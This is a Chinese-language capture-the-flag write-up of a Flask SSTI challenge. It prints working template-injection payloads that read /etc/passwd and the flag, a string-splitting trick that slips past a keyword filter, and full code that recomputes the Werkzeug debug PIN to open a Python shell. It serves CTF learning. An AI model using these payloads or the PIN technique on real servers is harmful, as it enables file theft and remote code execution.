題目已經提示了這題需要進行Flask模板注入,打開題目后是一個用flask寫的一個base64加解密應用。官方write up說看到根據提示1,失敗乃成功之母,應該能想到flask的debug模式。但是我當時看到的時候並沒有想到是debug模式,這就是沒有進行足夠積累的后果。
然后習慣性對base64解密頁面進行報錯實驗,發現了部分源碼。
提示解密界面存在ssti,且存在waf會過濾掉關鍵詞,然后返回no no no !!。經過測試發現waf過濾的部分關鍵詞包括import、popen、system、eval、flag等。
在加密界面對{{6+6}}進行加密,結果為e3s2KzZ9fQ==,再在解密界面進行解密,發現成功返回了
於是構造語句,{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}進行文件讀取
由於不知道flag的存放位置和名字,所以要通過獲取pin碼打開python shell
PIN 機制在 [Flask debug 模式 PIN 碼生成機制安全性研究筆記](https://www.cnblogs.com/HacTF/p/8160076.html) 一文中有詳細的研究。
由官方write up總結出,生成PIN的關鍵值有如下幾個:
* 1. 服務器運行flask所登錄的用戶名。 通過/etc/passwd中可以猜測為flaskweb 或者root ,此處用的flaskweb
* 2. modname 一般不變就是flask.app
* 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python該值一般為Flask 值一般不變
* 4. flask庫下app.py的絕對路徑。通過報錯信息就會泄露該值。本題的值為
* 5.當前網絡的mac地址的十進制數。通過文件/sys/class/net/eth0/address 獲取:
轉換為10進制得:
* 6.最后一個就是機器的id。
對於非docker機每一個機器都會有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系統沒有這兩個文件,windows的id獲取跟linux也不同。
對於docker機則讀取/proc/self/cgroup:
可知,機器id為
於是接下來就是獲取PIN值,計算PIN值的關鍵代碼在Lib\site-packages\werkzeug\debug\\_\_init__.py
import hashlib from itertools import chain probably_public_bits = [ 'flaskweb', 'flask.app', 'Flask', '/usr/local/lib/python3.7/site-packages/flask/app.py', ] private_bits = [ '2485410391036', '25f34b1b3cf9815ee85b0089a6203547ca22efbdbbc16f0c39d70fb528f773a1' ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv)
獲取PIN值為
打開python shell得到flag
其實知道了flag的文件名和路徑之后也能通過注入語句進行讀取{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/this_is_the_fl'+'ag.txt').read()}},這里涉及到語句拼接,不過在這題有些多此一舉了。
[這里放一個有用的鏈接](https://zhuanlan.zhihu.com/p/28823933)